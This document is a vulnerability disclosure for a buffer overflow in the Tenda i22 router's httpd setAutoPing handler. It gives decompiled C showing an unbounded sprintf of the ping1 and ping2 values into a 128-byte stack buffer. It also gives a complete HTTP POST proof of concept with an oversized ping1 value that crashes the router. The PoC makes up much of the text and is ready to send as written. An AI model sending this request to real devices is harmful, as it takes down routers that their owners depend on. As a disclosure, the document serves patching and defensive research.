Tenda i22 V1.0.0.3(4687) was discovered to contain a buffer overflow via the ping1 parameter in the formSetAutoPing function.

Description

`Tenda` Router **i22 V1.0.0.3(4687)** was discovered to contain a buffer overflow in the `httpd` module when handling `/goform/setAutoPing` request.

Firmware information

- Manufacturer's address: https://www.tenda.com.cn/
- Firmware download address : https://www.tenda.com.cn/download/detail-2747.html

Affected version

Vulnerability details

This vulnerability lies in the `/goform/setAutoPing` page，The details are shown below:

```c
int __fastcall formSetAutoPing(int a1, int a2, const char *a3)
{
  int v3; // r0
  char s[128]; // [sp+14h] [bp-A0h] BYREF
  int value_from_web; // [sp+94h] [bp-20h]
  char *linkEn_value; // [sp+98h] [bp-1Ch]
  const char *ping2_value; // [sp+9Ch] [bp-18h]
  const char *ping1_value; // [sp+A0h] [bp-14h]
  int GO_value; // [sp+A4h] [bp-10h]

  printf("query = %s\n", a3);
  memset(s, 0, sizeof(s));
  GO_value = get_value_from_web(a1, "GO", "checkUplink.asp");
  ping1_value = (const char *)get_value_from_web(a1, "ping1", "0");
  ping2_value = (const char *)get_value_from_web(a1, "ping2", "0");
  linkEn_value = (char *)get_value_from_web(a1, "linkEn", "0");
  value_from_web = get_value_from_web(a1, "intervalTime", "10");
  SetValue("auto_ping_en", linkEn_value);
  v3 = atoi(linkEn_value);
  if ( v3 == 1 )
  {
    SetValue("auto_ping_time", value_from_web);
    sprintf(s, "%s;%s", ping1_value, ping2_value);
    v3 = SetValue("auto_ping_ip", s);
  }
  if ( CommitCfm(v3) )
    send_msg_to_netctrl(43, &unk_7DD14);
  return sub_25EC4(a1, GO_value);
}
```

POC

This POC can result in a Dos.

```
POST /goform/setAutoPing HTTP/1.1
Host: 192.168.204.133
Content-Length: 1146
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.204.133
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.204.133/system_hostname.asp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bLanguage=cn; password=jbl1qw; user=
Connection: close

linkEn=1&ping1=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```